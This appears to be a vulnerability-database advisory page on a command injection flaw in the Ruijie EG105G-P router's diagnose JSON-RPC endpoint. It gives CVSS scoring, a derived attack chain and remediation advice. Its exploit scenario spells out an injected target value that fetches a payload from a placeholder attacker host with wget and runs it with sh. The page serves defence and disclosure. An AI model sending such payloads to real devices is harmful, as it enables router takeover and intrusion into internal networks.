EUVD-2026-36673
GHSA-f7mp-cw7j-wx85
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessDiscover exposed EG105G-P management UI
-
DeliveryObtain admin credentials (default/reuse/phish)
-
ExploitPOST crafted JSON-RPC to /cgi-bin/luci/api/diagnose
-
ExecutionInject shell metacharacters in params.target
-
PersistExecute arbitrary commands on device
-
ImpactInstall backdoor or pivot into LAN
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires (1) network reachability to the device's HTTP management interface, specifically the /cgi-bin/luci/api/diagnose JSON-RPC endpoint, and (2) authenticated administrative access to invoke the nslookup diagnostic function (CVSS PR:H). No user interaction is needed (UI:N) and attack complexity is low (AC:L), but exploitation is limited to the Ruijie EG105G-P running firmware 2.340 (and possibly other 2.x builds sharing the same handler); deployments that expose the management UI only to a management VLAN or restricted source IPs are not remotely reachable, and devices with strong, non-default admin credentials raise the cost of meeting the PR:H precondition. |
| Impact | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:H/UI:N) with VC:H/VI:H/VA:H produces a 7.3 base score, reflecting full device compromise but tempered by the PR:H requirement - exploitation needs high-privileged access to the management interface, which substantially narrows the threat to attackers who already hold administrative credentials (default, weak, reused, or phished) or who can reach the panel post-authentication via another flaw. Publicly released exploit code (E:P) lowers the barrier to weaponization, and the vendor's non-response makes silent persistence of the bug likely across deployed firmware. The CVE is not listed in CISA KEV and no EPSS value was provided, so real-world exploitation volume cannot be quantified from the available data; given the SMB target profile and exposed management UIs, opportunistic abuse by botnets targeting Ruijie devices is plausible but unconfirmed. |
| Exploit ScenarioDerived | An attacker who has obtained admin credentials for an internet-exposed EG105G-P (via password reuse, phishing, brute force, or chained access) sends a crafted JSON-RPC POST to /cgi-bin/luci/api/diagnose invoking nslookup with a params.target value such as '8.8.8.8; wget http://attacker/x -O /tmp/x; sh /tmp/x', causing the device to fetch and execute a payload. Because publicly available exploit code exists, this can be scripted at scale against Ruijie devices discovered via Shodan/ZoomEye, leading to router takeover, traffic interception, or pivoting into the LAN. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 15, 2026
Command injection in the Ruijie EG105G-P 2.340 gateway router allows authenticated remote attackers to execute arbitrary OS commands by manipulating the params.target argument of the nslookup function in the /cgi-bin/luci/api/diagnose JSON-RPC endpoint. Publicly available exploit code exists, the vendor did not respond to coordinated disclosure, and successful exploitation yields full confidentiality, integrity, and availability impact on the device.
RemediationAI
No vendor-released patch identified at time of analysis - Ruijie did not respond to VulDB's coordinated disclosure, so defenders should treat the issue as unfixed. As compensating controls, restrict the EG105G-P management interface to a dedicated management VLAN or trusted source IPs via ACLs so that /cgi-bin/luci/api/diagnose is unreachable from the WAN and general LAN (side effect: legitimate admins must use a jump host), rotate and harden administrator credentials and disable any default accounts to raise the cost of meeting the PR:H precondition, and consider blocking or web-application-filtering POST requests to /cgi-bin/luci/api/diagnose whose JSON body contains shell metacharacters in the params.target field (side effect: may break legitimate diagnostic use of the panel). Monitor VulDB entry https://vuldb.com/vuln/370840 and the vendor portal for a firmware release superseding 2.340, and consult the public PoC at https://github.com/ictrun/java/issues/6 to build detection signatures.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The Ruijie EG105G-P is a small-business edge gateway whose web management interface is built on LuCI, a Lua-based configuration framework commonly used on OpenWrt-derived embedded firmware. The diagnostic JSON-RPC handler at /cgi-bin/luci/api/diagnose exposes a server-side nslookup function that takes a user-supplied params.target value and passes it into a shell command without adequate sanitization. This is a textbook CWE-77 (Improper Neutralization of Special Elements used in a Command) issue, where shell metacharacters such as ';', '|', '`', or '$()' embedded in the target field are interpreted by the underlying shell, letting the attacker append arbitrary commands to the intended nslookup invocation.
Know when Eg105G P gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Network-reachable management endpoint (AV:N), straightforward injection (AC:L), but requires admin login to call the diagnose API (PR:H); successful injection yields full OS-level control of the device (C/I/A:H).
Primary rating from Vendor (VulDB).
CVSS VectorVendor: VulDB
Lifecycle Timeline
1DescriptionCVE.org
A security flaw has been discovered in Ruijie EG105G-P 2.340. The impacted element is the function nslookup of the file /cgi-bin/luci/api/diagnose of the component JSON-RPC Diagnose Endpoint. Performing a manipulation of the argument params.target results in command injection. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
Executive ViewAI
The Ruijie EG105G-P 2.340 gateway router contains an unpatched command injection vulnerability (CVE-2026-12197) that allows authenticated users to completely compromise network infrastructure controlling traffic and security boundaries. Publicly available exploit code exists, the vendor declined disclosure and has not released a patch, leaving affected devices at permanent risk.
No vendor-released patch identified at time of analysis. Implement strict network-level access controls restricting the administrative interface to authorized jump hosts or VPN-authenticated administrators only; enforce multi-factor authentication on all administrative accounts; increase monitoring and logging of device access; isolate affected gateways to restricted networks separate from critical infrastructure. Plan immediate device replacement-no patching pathway exists.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Exploit-DB